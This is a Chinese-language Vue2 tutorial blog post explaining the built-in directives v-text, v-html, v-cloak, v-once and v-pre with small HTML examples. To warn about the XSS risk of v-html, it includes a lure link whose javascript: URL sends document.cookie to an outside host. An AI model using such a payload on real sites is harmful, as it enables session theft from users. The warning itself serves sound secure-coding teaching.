标签：内置 name 之超 text Vue html 指令 Vue2 节点

Vue2入门之超详细教程十四-常用内置指令集合

1、简介

常用内置指令集合

v-bind：单向绑定解析表达式，可简写为:xxx
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定时间监听，可简写为@
v-if：条件渲染（动态控制节点是否存在）
v-else：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）

以上是我们已经学过的内置指令，除了这些以外，还有很多比如

v-text：
- 作用：向所在的节点中渲染文本内容
- 与插值语法的区别：v-text会替换掉节点中的内容
v-html：
- 作用：向指定节点中渲染包含html结构的内容。
- 与插值语法的区别：
  - v-html会替换掉节点汇总所有的内容
  - v-html可以识别html结构
- 注意：v-html有安全性问题
  - 在网站上动态渲染任意html是非常危险的，容易导致xss攻击
  - 一定要在可信任的内容上使用v-html，永远不要在用户提交的内容上使用
v-cloak：
- 本质是一个特殊的属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
- 使用css配合v-cloak可以解决网速慢时展示出{{xxx}}的问题
v-once：
- v-once所在节点在初次动态渲染后，就视为静态内容了
- 以后的数据的改变不会引起v-once所在结构的更新，可以用于优化性能
v-pre：
- 跳过其所在节点的编译过程
- 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

学习Vue之前最后会一些HTML和CSS的基础知识，HTML基础知识传送门，CSS基础知识传送门。

2、常用内置指令

1. v-text指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../js/development/vue.js"></script>
</head>
<body>
    <div id="root">
        <div>{{name}}</div>
        <div v-text="name"></div>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data(){
            return {
                name:'Mr.Li'
            }
        }
    })
</script>
</html>

以上代码分别通过插值语法{{}}和v-text指令，将name的值显示在页面中，通过页面展示感觉v-text和插值语法实现的功能相同

但在大部分时间我们更喜欢使用插值语法，因为v-text是将标签中的内容完全他替代，比如我们像显示"你好Mr.Li"，在插值语法中我们可以这样写

<div>你好{{name}}</div>

但你用v-text这样写是不可以的

<div v-text="name">你好</div>

2. v-html指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../js/development/vue.js"></script>
</head>
<body>
    <div id="root">
        <div>你好{{name}}</div>
        <div v-html="str">你好</div>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data(){
            return {
                name:'Mr.Li',
                str:'<h3>你好啊！</h3>'
            }
        }
    })
</script>
</html>

v-html和v-text的相似，也会替换掉原本的文本内容，区别在于v-html会把

3>对应的格式解析为标签，v-text则解析为纯文本

注意：v-html要慎用，因为有安全隐患

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../js/development/vue.js"></script>
</head>
<body>
    <div id="root">
        <div>你好{{name}}</div>
        <div v-html="str">你好</div>
        <div v-html="str2">你好</div>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data(){
            return {
                name:'Mr.Li',
                str:'<h3>你好啊！</h3>',
                str2:'<a href=javascript:location.href="http://www.baidu.com" + document.cookie>兄弟点我，有资源</a>'
            }
        }
    })
</script>
</html>

这样会把你cookie信息拿到

3. v-cloak指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    
    <style>
        [v-cloak]{
            display:none;
        }
    </style>
</head>
<body>
    <div id="app">
        <div>{{message}}</div>
        <div v-cloak>{{message}}</div>
    </div>
    <script src="https://unpkg.com/vue@next"></script>
    <script>
        const vm = Vue.createApp({
            data:function(){
                return {
                    message:'V-cloak指令用于在Vue实例加载完成之前隐藏元素或组件。它的作用是确保在Vue实例加载完成之前，元素或组件不会显示在屏幕上，从而消除了页面闪烁的问题。'
                }
            }
        }).mount('#app')
    </script>
</body>
</html>

以上代码中我们没有引用本地的vue.js代码，而是引用了cdn网络中的代码，这样可以减小项目体积，但网络是存在延迟为题的，当项目还未加载完vue内容时，相应的语法是不生效的，所以第一个message内容就无法解析，V-cloak指令用于在Vue实例加载完成之前隐藏元素或组件。它的作用是确保在Vue实例加载完成之前，元素或组件不会显示在屏幕上，从而消除了页面闪烁的问题。

4. v-once指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../js/development/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2>当前的n值是：{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data(){
            return {
                n:1,
            }
        }
    })
</script>
</html>

以上代码每次点击按钮，会吧n的值+1，目前我们有一个要求，就是即显示初始化时的值，也显示+1后的值

<h2>初始化的值{{n}}</h2>

如果只是这样写，当我们点击n+1按钮时，初始化的值也会跟着+1，这不是我们想要的

<h2 v-once>初始化的值{{n}}</h2>

当加上v-once后，该值只会渲染一次

5. v-pre指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../js/development/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2 v-pre>Vue很简单</h2>
        <h2 v-pre>当前的n值是：{{n}}</h2>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data(){
            return {
                n:1,
            }
        }
    })
</script>
</html>

v-pre指令不需要表达式，不解析这个元素和它的子元素。

标签：内置,name,之超,text,Vue,html,指令,Vue2,节点
From： https://www.cnblogs.com/lirongyang/p/17951121

Vue2入门之超详细教程十七-常用内置命令集合